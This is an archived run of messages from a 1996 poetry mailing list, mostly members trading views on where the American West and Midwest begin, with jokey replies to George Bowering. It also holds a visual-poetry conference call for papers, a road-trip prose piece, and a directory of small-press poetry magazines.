Mon 25 Nov 1996

There's some time like the present but it ended about five minutes ago.

On Sun, 24 Nov 1996, George Bowering wrote:

> *Okay, it is becoming obvious that all the intellectuals on this list will never get me to understand what 7 divided by everything is. Well, I dont care!*
>
> *But here is another question:*
>
> *How come "there's no time like the present"?*
>
> *George Bowering.*
>
> *,*
>
> *2499 West 37th Ave.,*
> *Vancouver, B.C.,*
> *Canada V6M 1P4*
>
> *fax:* [redacted]

> *e-mail:* [redacted]

http://jefferson.village.virginia.edu/~spoons/internet_txt.html
images: http://www.cs.unca.edu/~davidson/pix/
Tel. [redacted] CuSeeMe: 166.84.250.149

↑ Index

430. Michael Boughn
Re: West
Mon 25 Nov 1996

Hey, I love Duluth as much as the next guy, but after 11 years in the deep west side of Buffalo watching the sun set over Lake Erie ("if I had my way, I'd shuffle off to Buffalo / sit by the Lake, and watch the world go by") you know you're looking at the midwest. In fact, Buffalo's got more in common with Duluth (or Lawrence, for that matter) than it does with Philadelphia--when Harvey Brown called his press Frontier Press he was referring to the Niagara Frontier.

Mike
[redacted]

↑ Index

431. Henry Gould
Re: West
Mon 25 Nov 1996

On Sun, 24 Nov 1996 22:40:51 -0800 George Bowering said:
>>>
>>>Buffalo IS the "mid-west",
>
>
>When I was a kid in B.C. I used to hear about the Dodgers making a "western
>trip". This meant Chicago and St. Louis. Ridiculous. The beginning of the
>east is Duluth, for sure. Duluth is the first eastern city you see when yr
>heading eastward on Highway 2.
>
Yes, coming from west, the distinctive onion domes, mosques & pagodas of
Duluth certainly give a marvelous Oriental impression there by the shorss
of Gitchee Gumee. But those of us who grew up in that region always
considered Duluth the last NORTHERN city. Beyond was pine trees, loons,
bears, wolves & snow. - HG
>2499 West 37th Ave.,
>Vancouver, B.C.,

>Canada V6M 1P4
>
>fax: [redacted]
>e-mail: [redacted]

↑ Index

432. **maria damon**
Re: Mr. who?
Mon 25 Nov 1996

---

tenney sez:
(also I love teaching /Bartleby/
> to undergrads and having [getting] to explain what an airshaft is)
>
> T.

i once taught "the bridge" & other hart crane to a group of advanced undergraduates, one of whom insisted that the mention of elevators referred to grain elevators (silos) rather than those things in tall buildings that people use to get around.-md

↑ Index

433. **Henry Gould**
math
Mon 25 Nov 1996

---

7 divided by everything is still 7, and always will be.
This, by the way, also resolves the perennial mind/body problem,
i.e., because it's still there.
No further questions?
Class dismissed.
Or, as Fields said to West, outside the Present View Motel in Boulders Utah:
"Believe you me, my little Foofoo, there's no time like the Present."

↑ Index

434. **Jeff Hansen**
u.s. places
Mon 25 Nov 1996

---

having lived in both the midwest and buffalo, ny, I can unequivocably say that buffalo is the eastern edge of the great lakes cities. eastern in that many of its cultural influences are NYC rather than chicago, detroit, etc., and great lakes

in that it is part of the upper rustbelt stretching from milwaukee through gary to toledo and cleveland. it's an odd and wonderful place and i miss it dearly.

minneapolis is a trip unto itself. we have an abundance of literary magazines, many of which are quite good, yet few reading series for the aesthetic tastes of poeple on this list. the LOFT is huge and kind of siphons the energy, i think.

great twin cities mags and presses include DISTURBED GUILLOTINE, POETIC BRIEFS, the upcoming CROSS CULTURAL POETICS which will feature a section on the often neglected WATTS WRITERS GROUP, the satirical EXILE, COFFEE HOUSE, DETOUR, jonathon brannen's beautifully produced STEPPING STONES chapbooks, and a couple people doing audio tapes who are soon to release an audio version of McCaffery's PANOPTICON. Lots going on; we just don't see each other very often.

Salon, anyone?

Jeff

↑ Index

435. **Douglas Barbour**
Re: EyeRhymes Conference
Mon 25 Nov 1996

EYERHYMES*EYERHYMES*EYERHYMES*EYERHYMES*EYERHYMES*EYERHYMES*EYERHYMES*

12 to 16 June 1997

a multi-disciplinary, international conference on Visual Poetry at the University of Alberta, Edmonton, Canada

mailing address:
Canadian Institute of Ukrainian Studies
352 Athabasca Hall
University of Alberta
Edmonton, Canada T6G 2E8
tel: [redacted]
fax: [redacted]
e-mail: [redacted]
website: http://www.ualberta.ca/~eyerhyme/

Call for papers and proposals

The organizers invite proposals for papers dealing with various aspects of the historical and contemporary interface between literature and the visual arts.

Some of the topics include:
Technopaignia and the Classical Tradition;
Pattern Poetry, Heraldic Art and Visual Forms of Baroque Writing;
Futurism, Constructivism, Dada;
Concrete Poetry;
Artist¼s Books;
Visual Essays (such as those by Wyndham Lewis and Marshall McLuhan);
Advertising and Poster Art;
Calligraphy, Fraktur and Typewriter Art;
Hieroglyphic, Ideographic and Pictographic Languages;
The Impact of Print Technologies, Typefaces and Computer Graphics on Literature;
Textual Elements in Painting;
Work in New Media ã Digital and Holographic Poetry;
Collectors and Collections;
Creative Dialogues Between Poets and Painters;
Poetics of the Written Word.

Papers may be submitted for oral/audio-visual presentation, or for display in the "poster" format used at scientific conferences. In that case, the texts and commentaries should be printed on separate sheets that can be easily mounted on partitions 4 by 5 feet (1.2 by 1.5 meters). Submissions of such "poster" papers will be accepted from individuals unable to attend the conference in person, as well as participants who wish to forgo reading their presentations. These "posters" will be available for viewing during the conference, and will constitute part of its proceedings.

Sessions will be organized according to themes or periods, and suggestions are welcome for both potential speakers and topics for discussion. Eye Rhymes is open to presentations made in other media. The organizers are especially interested in soliciting papers dealing with Canadian visual poetry, as well as obtaining proposals from creative practitioners.

Abstracts should be no more than 300 words, and must be accompanied by a one page resumé covering relevant biographical and professional details. Twenty minutes will be allowed for each oral presentation, though written versions of papers may be longer.

Please indicate if you would require financial assistance to attend the conference, or if your participation would be contingent upon your ability to arrange financing from non-conference sources.

Provide all of your communication co-ordinates on a separate sheet: name, complete mailing address, phone numbers (office and residence), fax number and e-mail.

The review of submissions is ongoing until the end of 1996.

A creative component will accompany the conference, with exhibitions, performances, and panel discussions involving visual poets. The working language of Eye Rhymes will be English. Additional information, concerning publication and other details, will be provided in future communications.

sponsored by:
the Faculty of Arts
the Department of Art and Design
the Department of English
the Department of Modern Languages and Comparative Studies
the Bruce Peel Special Collections Library
the Canadian Institute of Ukrainian Studies

Please circulate this proposal.

========== Douglas Barbour Department of English 'The universe opens. I close. University of Alberta And open, just to surprise you.' Edmonton Alberta T6G 2E5 [redacted] FAX: [redacted] - Phyllis Webb H: [redacted]

↑ Index

436. **Jonathan A Levin**
Re: West
Mon 25 Nov 1996

I can't resist:

Hail to the Victors Valiant
Hail to the Conquering Heros
Hail, Hail To Michigan
The Leaders and Best

Hail to the Victors Valiant
Hail to the Conquering Heros
Hail, Hail to Michigan
The CHAMPIONS OF THE WEST

Just fortuitous that the Wolverines beat Ohio State this weekend, crushing their hopes of a national championship. I always thought the song a little odd, coming from St. Louis, which, I find, Easterners tend to think of as the South. I never understood that until I finally saw the film of Meet Me in St. Louis. It was the south, but is now the industrial midwest, just like Detroit/Ann Arbor.

Hoping actually to meet some of you in D.C.--

Jonathan Levin

↑ Index

437. Paul McDonald - Bon Air Branch
Re: math/ what you get for absolutes
Mon 25 Nov 1996

"Paradise is exactly like
 where you are right now,
 Only much, much...
        BETTER!!!"

---Laurie Anderson
"Language is a Virus"

↑ Index

438. pollet
western poets: Lew Welch
Mon 25 Nov 1996

Unless I missed it, nobody's mentioned Lew Welch. Ring of Bone, Collected Poems 1950-1971, Grey Fox Press. Try Song of the Turkey Buzzard. I never met him, but I've seen him fly over.

↑ Index

439. Pritchett,Pat
Re: East
Mon 25 Nov 1996

Ron,

That was a truly beautiful litany. I'm just wondering, though: are the Cockettes you mention THE Cockettes, as in the ones who used to feature Goldie Glitters? Goldie was a good friend of my wife's. Last we heard, he was in England doing something wonderful. I never met him, but we had a long talk once on the phone when he was living in Venice. I had just finished reading Rafferty's review of "Paris Is Burning" and was watching the first game of the World Series where Kirk Gibson smashed one out of the park at the last saving moment and the Dodgers went on to take the best of 7. What does all this mean? I have no idea.

Patrick Pritchett

From: Ron Silliman

To: POETICS
Subject: East
Date: Sunday, November 24, 1996 7:05AM

>
>Date: Sat, 23 Nov 1996 09:03:38 -0600
>From: maria damon <[redacted]>
>Subject: Re: West
>
>ron, as a bred-in-the-bone californian who has only recently arrived on the east
>coast, what are your impressions of its geocultural characteristics, i.e. how is
>it "regional"? i'm curious since i'm such a bred-in-the-bone easterner and can't
>see it as an ethnographer/outsider.--md
>

Actually, Maria, I was born in the shadows of the Hanford nuclear reactor plant outside of southeastern Washington (as was Michael Amnasan), roughly one year after its most famous product was dropped on the people of Nagasaki.

But it's true that my mother's family goes back in the Berkeley/Oakland areas into the 1880s.

The differences between Philly and Berkeley are too many to catalog and I'm still coming across them every week if not every day. Some of the more obvious seem to me to be:

The sledgehammer shift of seasons, nothing like the gliding subtleties of California.

The sense of history: families that have been here two and three hundred years (especially out where I am on the Main Line) have really consolidated their hold on things.

No decent Mexican restaurants.

NFL starts in the afternoon on Sundays and lasts until after midnight.

You can drive through several states in a single afternoon.

50 zillion colleges hereabouts really shifts the balance between public and private higher education (not sure what it means, but it must mean somethin'). [I've been invited to do more things at Penn in 18 months that I was at UC Berkeley in the last 18 years.]

NO good bookstores. I realize how spoiled I was to live one block from Small Press Distribution (sob). I had the idea that you could look at and browse and touch a book of poems before you bought it.

No real reading series here at all. Too close to NYC in one sense. There's a big gap, so far as I can tell, between writers still in college (Josh Schuster, who's on the list, has been the major mover hereabouts; hopefully Louis Cabris and Gregg Biglieri [from New College to Temple] will step things up some) and the older "mid-career" types who live in Philadelphia for reasons other than that's the big city where they moved to become poets. (i.e., people don't move to Philly for that reason, they move to NYC or SF)

Liquor stores as a function of the state. Automobile registration as a mom & pop shop (closest thing down here to NYC's bodegas).

The mafia as local spectator sport (we're a two-team town; NYC is a 5 team town -- they take free agency VERY seriously).

The Mummers ain't the Cockettes.

Children out here are taught to call people "Mr" & "Mrs" and their parents will get mad at you if you suggest that they use your first name.

Flag day is taken seriously (Betsy Ross was a local and is treated as same).

Ed Rendell IS Dianne Feinstein (they even look alike).

People think that Krishna using her maiden name is one of those "kooky California" things and so they just call her Mrs Silliman anyway.

Much better radio. You don't realize just how lousy San Francisco radio is until you hear the choices out here (now if only we had a Pacifica station).

You get four times the house for the same amount of money.

The earth don't shake. I see the kinds of supports that freeway overpasses have here and shudder to imagine what would happen when and if....

Brick as a building material. The automobile tire as the standard unit of litter.

Really solid local poets, Julia Blumenreich, Gil Ott, Eli Goldblatt, a lot of the folks around 6ix (in that sense, not unlike DC or San Diego), as well as us transplants.

Creeks that would be called rivers if they were in California. Mountains that are no larger than Albany Hill.

No baseball scores from the west coast.

The Amish and Mennonites and Quakers as an active presence in the community and region. Black buggies with big orange triangles.

Old stone farm houses everywhere (beautiful to look at but they have small rooms and problematic fixtures [electricity and plumbing as "add ons"]).

Email as your primary contact with other poets....

Shovelling snow or raking leaves as a "must-do" chore.

What else?
Ron

↑ Index

440. **Pritchett,Pat**
Re: oh give me a home
Mon 25 Nov 1996

Or put it this way, from ARK, The Foundations, Beams 21,22,23:

```
            I dream
    the sheaves sleep quiver speak in furrow
        to the mower by the depths
    I wait and watch for the morning from all eyes
          matter as swarm clothed with vision
             each bud a lamp

        the heat stand in lightning
    wind out of throughout for ever for ever for ever alone
        out the water great lights stretched out
    divided into parts through the midst ever flesh
           rivers of willowsong
                against stone
```

(Hope the line centering holds...)

Patrick Pritchett

From: Judy Roitman
To: POETICS
Subject: Re: oh give me a home
Date: Sunday, November 24, 1996 6:40PM

> *Clearly, some poets feel compelled to confront "landscape"*

"Feel" "compelled" "confront" -- nah. Some folks just seem to breath it in and out.

Me, I'm with Maria, in exile from my true coastal home(s), but even us coastal types can get Kansas when it's Irby or McCrary talking.

---------- Judy Roitman
| "Glad to have Math, University of Kansas | these copies of things
Lawrence, KS 66045 | after a while." [redacted]
| Larry Eigner, 1927-1996

↑ Index

441. **Sharon Elizabeth Wood**
Re: math/ what you get for absolutes
Mon 25 Nov 1996

Because the present is the only no time -- or seven divided by everything.

Sharon Wood

At 02:26 AM 11/25/96 -0500, you wrote:
>> But here is another question:
>>
>> How come "there's no time like the present"?

> *George Bowering.*
>
> ,

↑ Index

442. **amato**
Re: West
Mon 25 Nov 1996

---

the west has clearly moved west, based on what everybody around here is saying... hell, and i thought *I* was from the west---syracuse ny!...

which obscures the fact that at some point---just prior to the west coast, perhaps (though of course a flick like _one-eyed jacks_ would seem to give the lie to this)---the west would seem to root itself in a particular landscape... which hollywood and tv made an industry of...

driving east---from here, from chicago i mean---i still feel like i'm in the midwest till i hit that imaginary "border" between ohio and pennsylvania... strictly psychological, perhaps---but things *do* seem to get a lot more hilly... same goes for driving west---though it's even more abrupt... once i cross the nebraskan high plains, just as i enter into northeastern colorado or southeastern wyoming (where on a clear day you can see the rockies), why then i feel like i'm in the west... perhaps the continental divide spells this out for me, whereas the mississippi doesn't...

so from my easterner perspective, the midwest always seems to me to extend from ohio ("the heart of it all"---as the signs say when you enter that state) through nebraska and the 'great plains'... but as i move north and south, i tend to think in terms of different sorts of regionalisms---"the south" for me, as a "yankee" (in the more general sense of this word), becomes anyplace south of pennsylvania, south of indianapolis, south of iowa ("the land where they let the children cry," as kerouac wrote), etc... and i think of the dakotas as strangely midwest/west---with montana, of course, as west...

so just by my remarks i suppose you might say that i discriminate on the basis of landscape and region...

joe

↑ Index

443. **maz881**
Where is the west?
Mon 25 Nov 1996

Charles Alexander wrote:

> *I always thought western meant at least*
> *west of the Mississippi, and increasingly,*
> *west of the great plains states.*

& Ron Spike Silliman wrote:

<<When I was growing up in Berkeley, I thought "midwest" meant Reno. Everything east of Salt Lake meant "back east." Now that I'm really "back east," I hear people speak of Buffalo as the midwest.>>

A definition of the midwest follows & west (skip to end):

***

It doesn't make sense but the Mississippi River separates Wisconsin from Iowa. At Dubuque we caught the 20 and stayed its course across the state. In Nebraska a Pierce County sheriff held up Brian's driver's license and asked him about his hair color and his eye color. The sheriff also wanted to know what was in California before he wrote out a ticket for doing 78 on southbound US-81.

*

In the Dunes motel in Albion I heard Brian say Garden at 7:30 am and I said what? He said he didn't say anything. I went back to sleep and dreamed of two plenary women urging me to go to Tacoma. They were speaking in flappers. When we woke up, the news was of a big quake in Joshua tree. We were watching as the aftershock hit and the LA correspondent was describing it for us. She was told to get under her desk.

*

The Butler cylinders got bigger in the middle of Nebraska. In the southern part of the state I started seeing equally large Chiefs. I like the big cylinders of the midwest. I think they were brought by the settlers.

*

Can you pull over I asked Brian because ditch weed was growing on the side of the road. It's a good way to annoy Brian to ask him to pull over for an unscheduled stop because it breaks one of his driving laws. Another one is no backtracking. In backtracking, say you are traveling southwest and you propose a route that puts you heading east for a mile, but you need that mile of east to hook up with a good southerly route. Brian would consider the proposed route bad form and would reject it on aesthetic grounds, even if that route was shorter or more interesting than any number of alternatives. Not that Brian's laws don't out of necessity or desire get broken. After begging Brian three times to pull over, he finally gave in. When we got out of the jeep I looked around and said hey, this isn't ditch weed.

*

Cambridge had a ballfield and we stopped to throw the rock. Some farm boys were practicing on the field with a man who was the coach. We asked to play and were allowed to with silence. The air had a diesel smell like big tuna. The infield was spongy prairie and sheened. The plate was forty feet in front of the low backstop. We shagged for them and then the coach made sure we got some cuts. He was from SF and had grown up in the Marina and gone to Galileo high with OJ. In his high school playoffs he used a 35 to hit the low and outside pitch. I couldn't tell if the farm boys resented us, but one kid started yelling at Brian that the point of bp was to keep the ball in the yard. Why the coach had moved to Cambridge I didn't ask, but Brian asked me if I asked him.

*

Well, I called Jim Budke and he wasn't home. Jim Budke owned the only jeep dealer in McCook. He lost a couple of mechanics and I don't know how long you'll be stuck said Marvin Lorentz. Marvin Lorentz was our designated tower from AAA. He didn't want us to take the jeep to Budke's but we told him there was a warranty to worry about. He had pulled up in a gray chevy nova with his wife and she held a small lap dog. He tried to get the jeep in gear but the stick wouldn't budge. It was bright and sunday. It was hot and it was dry.

*

We walked across the street and checked into the best western. Marvin phoned us and came by with his wrecker. He jacked up the jeep and we hopped on back

and rode to Budke's. After letting the jeep down he drove us to a cash machine and recommended some places to grind.

*

After dinner I called Douglass in NYC and told him how Nick the Dick had hit the ball twice. Douglass wondered how Nick chose which ball to hit as his vertigo condition would allow him to see at least two. Then Brian got on the horn and told Douglass to watch out for Steve trying to lick the inside of his thigh. Steve was coming down from Providence and was still into sexual experimentation.

*

They put a baboon liver in some dude said Rodney. Rodney was our mechanic at Budke's. He showed us the thrashed clutch plate made by Borg & Beck. Rodney called it a ten and a half, fourteen, one. That means the clutch plate measured ten and a half inches in diameter, had fourteen gear teeth or splines and fit on a one-inch transmission shaft. On one side of the clutch plate were displayed the words FLYWHEEL SIDE. Someone had installed the clutch plate so that FLYWHEEL SIDE was up against the pressure plate. Not OK. We wondered if it was Southern Motors or Dirk Waltz. According to Rodney, you didn't need to take out the clutch plate to put in a new transmission, but that didn't prove a whole lot.

*

Two 20-year-old skinny guys worked with Rodney in the garage and they worked on motorcycles. They suggested we stay at a cheaper motel on the edge of town and they were willing to drive us. One of the guys said he'd lived in Phoenix, Seattle, and Denver. He liked Denver the best, but couldn't go back there until the statute of limitations ran out. The other guy was also in trouble with the Denver cops.

*

After another night in McCook, we got up and walked to the garage. When we got there Rodney was not under the jeep fiddling but one of the skinny guys was under there. We said hey, where's Rodney? The skinny guy said Rodney was arraigned this morning for molesting a four-year-old girl. The skinny guy seemed to think it was a bad rap because the girl couldn't identify the tattoos on Rodney's stomach, which were of Yosemite Sam and Bugs Bunny. Rodney's white pride tattoo had also gone unnoticed.

*

The skinny guy installed the new pressure plate and throw-out bearing and after getting the flywheel turned at a local machine shop had installed it. But he

was having difficulty getting the new clutch plate to slide on to the transmission shaft. At a certain point he realized what the problem was. Spline mismatch. The transmission shaft had 14 splines and the new clutch plate had 11. We cursed Budke's for ordering the wrong part but after some research we found out we were wrong for cursing. For by all accounts - parts books and phone calls to Dodge and Borg & Beck - the transmission shaft ought to have 11 splines. Except ours continued to have 14. We got on the logical trail of the splines and got lost. How did Dirk Waltz of Midland find a brand new 14-spline transmission to fit the old clutch plate with 14 splines, assuming that he left the old clutch plate alone when he installed the new transmission, meaning that Southern Motors of Savannah had initially installed a 14-spline transmission and clutch that weren't to spec? What about the old transmission that was boxed up and sent back to Savannah? Brian's father had returned it to Southern Motors who had sent it back to the rebuilder, etc. To keep from glazing you, this is what we think happened. Instead of a new one Dirk Waltz of Midland installed a used 14-spline transmission into the jeep, ran into spline mismatch with the existing 11-spline clutch plate, dug up a 14-spline disc in some junkyard and then stuck it in backwards to spite us on account of I took imaginary cuts at his olds ornament.

*

The skinny guy got on the horn and drove around to all the parts stores trying to locate our phantom clutch plate. The only thing that turned up was a nine and eleven sixteenths inch disc that fit the other specs, 14 & 1. No one was sure that it would work and such a procedure would void any warranty. We said do it and they did. But they had trouble getting the transmission to bolt down to the chassis because the mounts were thrashed. This time me and Brian drove down to the parts store. The guys at Schamel's were nice and wore overalls. We showed them the chewed up mounts as an example. They checked the books but didn't have the part. They asked us if we were the ones who owned the funny jeep with a 14-spline transmission shaft. We smiled and said yes and asked how much it was to rent an apartment in town. After some searching they dug up a pair of mounts that fit older model Chryslers. I said I had a job to start in California in a few days. They said if I waited a few more the whole state would be under water. Then Nebraska would be the west and they could charge more for everything.

*

Prairie falcons became visible as we rolled into eastern colorado. They battled the crosswinds along with the jeep. The new clutch plate was an issue in our minds. We stopped in Wray for a little juice in case we burned up on the range.

*

We made it to Denver and talked about nuclear physics. In the morning we met Brian's mother & father at Stapleton and they were concerned about me getting to my job on time. At some point I was just going to have to fly. I said no, it's not like I could leave my wing man.

*

We had a lunch date in Boulder with Brian's mother's cousin Bud Shark and his wife Barbara. We debated where the west was and whether Denver was the west. Our hosts thought Denver wasn't, but Cheyenne was and Dallas was something else entirely. When we hit No Name I knew we were in the west and there was the start of the colorado river to prove it and a town called Rifle and another named Parachute.

*

We got socked in the face through southern utah. It was dry and windy and red. Fake thunderclouds dropped scarce water into the sunset. We pulled into Green River and stopped in front of a mexican restaurant. I locked both doors after Brian got out. Brian doesn't share my paranoia about locking car doors and was annoyed when he realized he'd left his wallet in the jeep. He unlocked the driver's side door but the handle stuck from all the dry. He had to go in the passenger's side to get his wallet. In the restaurant Brian got into one of his excited states where he says he's going to kick your ass motherfucker if you don't quit blowing smoke in his face.

***

Bonus question.

what does it mean that Chillicothe Ohio
has enjoyed the presence of a Krispy Kreme?

Bill

↑ Index

444. **Judy Roitman**

Re: math/ what you get for absolutes

Mon 25 Nov 1996

> *Okay, it is becoming obvious that all the intellectuals on this list will never get me to understand what 7 divided by everything is. Well, I dont care!*
>
> *But here is another question:*
>
> *How come "there's no time like the present"?*

Because you can't get the wrapping paper off.

---------- Judy Roitman
| "Glad to have Math, University of Kansas | these copies of things
Lawrence, KS 66045 | after a while." [redacted]
| Larry Eigner, 1927-1996

↑ Index

445. **maria damon**
Re: u.s. places
Mon 25 Nov 1996

---

minneapolis is a trip unto itself. we have an abundance of literary
> magazines, many of which are quite good, yet few reading series for the
> aesthetic tastes of poeple on this list. the LOFT is huge and kind of
> siphons the energy, i think.
>
> great twin cities mags and presses include DISTURBED GUILLOTINE, POETIC
> BRIEFS, the upcoming CROSS CULTURAL POETICS which will feature a
> section on the often neglected WATTS WRITERS GROUP, the satirical
> EXILE, COFFEE HOUSE, DETOUR, jonathon brannen's beautifully produced
> STEPPING STONES chapbooks, and a couple people doing audio tapes who
> are soon to release an audio version of McCaffery's PANOPTICON. Lots
> going on; we just don't see each other very often.
>
> Salon, anyone?
>
> Jeff

salon, si.
here's a list reworked from spenser selby's, by one of my groovy students:
plus, i've got a piece in the forthcoming xcp (crosscultural poetix) on the
local literary scene...
md

From: Edmond Chow <[redacted]>
Date: Fri, 22 Nov 1996 21:35:14 -0600 (CST)
To: Maria Damon <[redacted]> (maria damon)
Cc: Anna A Reckin <[redacted]>,
Julie A Cox <[redacted]>,
Georgia L Sine <[redacted]>,

[redacted]
Subject: Re: fwd list of mags, fyi

MINNESOTA MAGAZINES

CROSS-CULTURAL POETICS, Mark Nowak, College of St Catherine, 601 25 Ave S.,
Minneapolis MN 55454
DISTURBED GUILLOTINE, Fredrik Hausmann, Box 14871, University Station,
Minneapolis MN 55414
LIGHTNING & ASH, Paul Kremsreiter, 3010 Hennepin Ave S. #289,
Minneapolis MN 55408
POETIC BRIEFS, Jefferson Hansen & Elizabeth Burns, 2510 Highway 100 South #333,
St Louis Park MN 55416
SPOUT, 28 W Robie, St Paul MN 55107

U.S. MAGAZINES

ABACUS, Peter Ganick, 181 Edgemont Ave, Elmwood CT 06110
AERIAL, Rod Smith, Box 25642, Wash D.C. 20007
ALEA, Tom Epstein, 296 Cole Ave, Providence RI 02906
AMERICAN BOOK REVIEW, Illinois St Univ. Campus Box 4241, Normal IL 61790
AMERICAN LETTERS AND COMMENTARY, 850 Park Ave Suite 5B, NY NY 10021
ANT,ANT,ANT,ANT,ANT, Box 16177, Oakland CA 94610
ANTENYM, Steve Carll, 106 Fair Oaks #3, San Francisco CA 94110
APEX OF THE M, Box 247, Buffalo NY 14213
ARRAS, 141 West Newell Ave, Rutherford NJ 07070
ARSHILE, Mark Salerno, Box 3749, L.A. CA 90078
ATELIER, Sarah Jensen, Box 580, Boston MA 02117
B CITY, Connie Deanovich, 517 North Fourth St, Dekalb IL 60115
BALLPEEN, SEMIQUASI REVIEWS, Box 55892, Fondren Station, Jackson MS 39296
BIG ALLIS, Melanie Neilson, 11 Scholes St, Brooklyn NY 11206
THE BOMB, Ben Baxter, 1671 Cowlitz Ave, St Helens OR 97051
BOMBAY GIN, Naropa Institute, 2130 Arapahoe Ave, Boulder CO 80302
BOOGLIT, David Kirschenbaum, Box 221 Oceanside NY 11572
BRASS CITY, 77 Williamson Drive, Waterbury CT 06710
BULLHEAD, Joe Napora, 2205 Moore St, Ashland KY 41101
CENTRAL PARK, Stacey Schrader, Box 1446 NY NY 10023
CHAIN, Juliana Spahr, Jena Osman, 215 Ashland Ave, Buffalo NY 14222
CLWN WR, Box 2165, Church St Station, NY NY 10008

COLUMBIA POETRY REVIEW, English Dept of Columbia College, 600 South Michigan
Ave, Chicago IL 60605
COMPOUND EYE, Ange Mlinko, 52 Park St #3, Somerville MA 02143
CONJUNCTIONS, Bradford Morrow, 33 W. 9th St., NY NY 10011
CROSS-CULTURAL POETICS, Mark Nowak, College of St Catherine, 601 25 Ave S.,
Minneapolis MN 55454
DENVER QUARTERLY, Bin Ramke, Dept of English, U. of Denver, Denver CO 80208
DIE YOUNG, Skip Fox, English Dept, Univ. of Southwestern Louisiana, Lafayette LA
70504
DIRIGIBLE, David Todd, 216 Willow St, New Haven CT 06511
DISTURBED GUILLOTINE, Fredrik Hausmann, Box 14871, University Station, Minneapolis MN 55414
DROP FORGE, Box 7237, Reno NV 98510
ELECTRONIC POETRY REVIEW, http://www.poetry.org
EXPERIODICIST, Jake Berry, Box 3112, Florence AL 35630, [redacted]
FIRST INTENSITY, Lee Chapman, Box 665, Lawrence KS 66044
FIVE FINGERS REVIEW, Box 15426, San Francisco CA 94115
FLASHPOINT, Box 6243, Washington D.C. 20015
FOUND STREET, Larry Tomoyasu, 2260 S. Ferdinand Ave., Monterey Park CA 91754
GENERATOR, John Byrum, 3203 W. 14th St, Apt 13, Cleveland OH 44109
GLOBAL MAIL, Ashley Parker Owens, Box 410837, San Francisco CA 94141
GRIST-ON-LINE, http://www.thing.net?/~grist
HAMBONE, Nathaniel Mackey, 134 Hunolt St. Santa Cruz CA 95060
HAPPY GENIUS, Peter Landers, 103 Cedar Terrace, Hilton NY 14468
HEAVEN BONE, Steven Hirsch, Box 486, Chester NY 10918
HOUSE ORGAN, Kenneth Warren, 1250 Belle Avenue, Lakewood OH 44107
THE IMPLODING TIE-DIED TOUPEE, 82 Ridge Lake Dr, Columbia SC 4213
INDEFINITE SPACE, Marcia Arrieta, Box 40101, Pasadena CA 91114
JUXTA, Ken Harris & Jim Leftwich, 977 Seminole Trail, Charlottesville VA 22901,
[redacted]
KIOSK, 306 Clemens Hall, S.U.N.Y, Buffalo NY 14260
KOJA, 7314 21st Ave Apt 6E, Brooklyn NY 11204
LIGHTNING & ASH, Paul Kremsreiter, 3010 Hennepin Ave S. #289, Minneapolis MN
55408
LILLIPUT REVIEW, Don Wentworth, 282 Main St, Pittsburgh PA 15201

LINGO, Jonathan Gams, Box 184, West Stockbridge MA 01266
THE LITTLE MAGAZINE, English Dept, SUNY at Albany, Albany NY 12222
LOGODAEDALUS, LOGO.CRIT, Paul Weidenhoff & W.B. Keckler, Box 14193, Harrisburg
PA 17104
LOST AND FOUND TIMES, John M. Bennett, 137 Leland Ave, Columbus OH 43214
LOWER LIMIT SPEECH, A.L. Nielsen, 3055 30th St Apt #2, Boulder CO 80301
LYRIC&, Avery Burns, Box 640531, San Francisco CA 94164
MALCONTENT, Box 703, Naversink NJ 07752
MASS AVE., Daniel Bourchard, Box 230, Boston MA 02117
MEAT EPOCH, Gregory Vincent St Thomasino, 72 Orange St Apt 5B, Brooklyn Hts NY
11201
MESECHABE, Dennis Formento, 1539 Crete St, New Orleans LA 70119
MIRAGE #4/PERIOD(ICAL), Kevin Killian & Dodie Bellamy, 1020 Minna St, San Francisco CA 94103
N D, Box 4144, Austin TX 78765
NEW AMERICAN WRITING, Maxine Chernoff & Paul Hoover, 369 Milino, Mill Valley CA
94941
NO ROSES REVIEW, Carolyn Coo, 1322 N. Wicker Park, Chicago IL 60622
OPEN UNION STOP, 427 SW Madison Suite 136, Corvallis OR 97333
OPEN 24 HOURS, Buck Downs, Box 50376, Washington D.C. 20091
ORPHEUS GRID, John Noto, Box 420803, San Francisco CA 94142
O!!ZONE, Harry Burrus, 1266 Fountain View Dr. Houston TX 77057
PAPER RADIO, Box 425, Bremerton WA 98337
PARADOX, Box 643, Saranac Lake NY 12983
PAVEMENT SAW, David Baratier, 7 James St, Scotia NY 12302
PHOEBE, Graham Foust, George Mason U., 4400 University Drive, Fairfax VA 22030
PHOTO-STATIC, Lloyd Dunn, Box 8832, Iowa City, IA 52240
PICA, 165 N Ashbury Ave, Bollingbrook IL 60440
POETIC BRIEFS, Jefferson Hansen & Elizabeth Burns, 2510 Highway 100 South #333,
St Louis Park MN 55416
POETRY NEW YORK, Box 3184, Church St Station, New York NY 10008
PRIMARY WRITING, 2009 Belmont Rd. N.W., Apt 203, Wash D.C. 20009
PRIVATE ARTS, Box 10936, Chicago IL, 60610
PROLIFERATION, Mary Burger, Jay Schwartz, Chris Vitiello, Box 15954, Durham NC
27704

PROSODIA, New College of California, 766 Valencia San Francisco CA 94110
RE: REFERENCE PRESS, 154 Doyle Ave, Providence RI 02906
RHIZOME, Standard Schaefer, 366 S. Mentor #108, Pasadena CA 91106
RIBOT, Paul Vangelisti, Box 65798, Los Angeles CA 90065
RIF/T, Loss Glazier, Ken Sherwood, [redacted]
ROOMS, Jaime Robles, 652 Woodland Ave, San Leandro CA 94577
SCORE, Crag Hill, 1015 NW Clifford St, Pullman WA 99163
SHATTERED WIG, Rupert Wondolowski, 2407 N. Maryland #1, Baltimore MD 21218
SITUATION, Mark Wallace, 10402 Ewell Ave, Kensington MD 20895
6IX, 914 Leisz's Bridge Rd, Reading PA 19119
SPLIT CITY, Box 110171, Cleveland OH 44107
SPLIT SHIFT, Roger Taus, 2461 Santa Monica Blvd #C-122, Santa Monica CA 90404
SPOUT, 28 W Robie, St Paul MN 55107
SUBTLE JOURNAL OF RAW COINAGE, G Huth, 875 Central Parkway, Schenectady NY 12309
SUGAR MULE, M.L. Weber, 2 N. 24th St, Colorado Srings CO 80904
SULFUR, Clayton Eshleman, English Dept, Eastern Michigan U., Ypsilanti MI 48197
SUPERFLUX, Hoa Nguyen, 2533-b Folsom St, San Francisco CA 94110
SYN/AES/THE/TIC, Alex Cigale, Box 91, Canal St Station, New York NY 10013
TALISMAN, Ed Foster, Box 1117, Hoboken NJ 07030
TAPROOT REVIEWS, Luigi Bob Drake, Box 585, Lakewood OH 44107
TENSETENDONED, M.B. Corbett, Box 155, Preston Park PA 18455
